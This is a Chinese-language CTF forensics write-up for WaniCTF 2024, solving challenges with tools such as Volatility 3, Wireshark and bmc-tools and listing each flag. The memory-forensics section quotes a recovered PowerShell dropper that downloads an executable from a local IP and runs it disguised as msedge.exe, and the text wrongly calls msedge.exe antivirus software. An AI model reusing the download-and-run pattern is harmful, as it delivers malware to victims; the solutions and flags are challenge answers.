WaniCTF 2024 EICS1 Forensics wp

还不错,一个人打的取证几乎AK了

Forensics

Forensics

tiny_usb

简单题,AXIOM直接看就行

FLAG{hey_i_just_bought_a_usb}

Surveillance_of_sus

010Editor打开,注意到为RDP的缓存文件

我们使用工具对.bin文件进行解析,这里使用bmc-tools.py工具: https://github.com/ANSSI-FR/bmc-tools

解析出来一坨.bmp文件,提取与flag相关的文件,发现是个拼图

bmp拼接,肉眼瞪出flag

注意这个是yipeee(这个y坑了我好久)

FLAG{RDP_is_useful_yipeee}

codebreaker

题目图片:

最累的一集,直接qrazybox手搓二维码

然后看Reed-Solomon Decoder结束

FLAG{How_scan-dalous}

I_wanna_be_a_streamer

Wireshark分析,发现是H-264编码的视频流

先解码RTP包,然后wireshark下插件秒了

最后分解出.264格式的视频,直接下载MilkPlayer播放

FLAG{Th4nk_y0u_f0r_W4tching}

好题,尤其是最后的FLAG很有感觉

tiny_10px

根据如上原理更改图片大小即可(学到了)

下载图片拖到cybershef里

慢慢改吧,最后改出来一个合适的值(改成ff c0 00 11 08 00 a0 00 a0)

FLAG{b1g_en0ugh}

mem_search

用AXIOM找半天找不着不知道为啥

没办法了,只能上最硬核的vol3来内存取证了

老规矩先看info.Info

python vol.py -f chal_mem_search.DUMP windows.info

输出

Volatility 3 Framework 2.7.0
Progress:  100.00               PDB scanning finished
Variable        Value

Kernel Base     0xf8030e400000
DTB     0x1ad000
Symbols file:///C:/Users/LamentXU/Desktop/WEBCTF/FOR/volatility3-2.7.0/volatility3/symbols/windows/ntkrnlmp.pdb/D9424FC4861E47C10FAD1B35DEC6DCC8-1.json.xz
Is64Bit True
IsPAE   False
layer_name      0 WindowsIntel32e
memory_layer    1 WindowsCrashDump64Layer
base_layer      2 FileLayer
KdDebuggerDataBlock     0xf8030f000b20
NTBuildLab      19041.1.amd64fre.vb_release.1912
CSDVersion      0
KdVersionBlock  0xf8030f00f400
Major/Minor     15.19041
MachineType     34404
KeNumberProcessors      1
SystemTime      2024-05-11 09:33:57
NtSystemRoot    C:\Windows
NtProductType   NtProductWinNt
NtMajorVersion  10
NtMinorVersion  0
PE MajorOperatingSystemVersion  10
PE MinorOperatingSystemVersion  0
PE Machine      34404
PE TimeDateStamp        Mon Dec  9 11:07:51 2019

由于题目基本没啥提示,只给了一个unknown file说明是文件相关,那就只能把所有文件都dump出来看看了

python vol.py -f chal_mem_search.DUMP windows.filescan

输出一坨文件,一个一个看能看到有read_this_as_admin.lnknload以及read_this_as_admin.download

(其实这里是我先用AXIOM看过了有这两个东西,但是不知道为啥AXIOM分离的时候出了点问题分不出来。像这种大量文件的还是用AXIOM好毕竟人家有分类功能,像这种硬找的还是挺难的)

分离

python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebae1c0
python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebc26c0

能看到powershell,注意到有base64编码后的内容,对其进行解码

整理得:

$u='http://192.168.0.16:8282/B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ%3D%3D/chall_mem_search.exe';
$t='WaniTemp';
mkdir -force $env:TMP\..\$t;
try{
    iwr $u -OutFile $d\msedge.exe;& $d\msedge.exe;
}catch{
}

msedge.exe为windows的杀毒软件,这里这个powershell脚本将恶意软件下载后存到了\msedge.exe里

可以直接看chall_mem_search.exe

python vol.py -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebd4af0

但是有这个必要吗?

注意到网址中B64_decode_RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ

直接将RkxBR3tEYXl1bV90aGlzX2lzX3NlY3JldF9maWxlfQ用base64解码得FLAG{Dayum_this_is_secret_file}

补充:比赛结束后看别的大佬wp发现这题还有个假flag

直接dumpfiles出chall_mem_search.exe拖进IDA里逆向,注意到:

int32_t sub_461730()
{
    int32_t __saved_ebp;
    __builtin_memset(&__saved_ebp, 0xcccccccc, 0);
    j_sub_4617b0(&data_46c012);
    MessageBoxW(nullptr, u"B64 decode this!!! RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ", u"Wani Hackase", MB_OK);
    j___RTC_CheckEsp();
    j___RTC_CheckEsp();
    return 0;
}

将RkxBR3tIYWNrZWRfeWlrZXNfc3Bvb2t5fQ用base64解码即为假flag:FLAG{Hacked_yikes_spooky}

FLAG{Dayum_this_is_secret_file}

posted @ 2024-06-25 13:37  LamentXU  阅读(86)  评论(0编辑  收藏  举报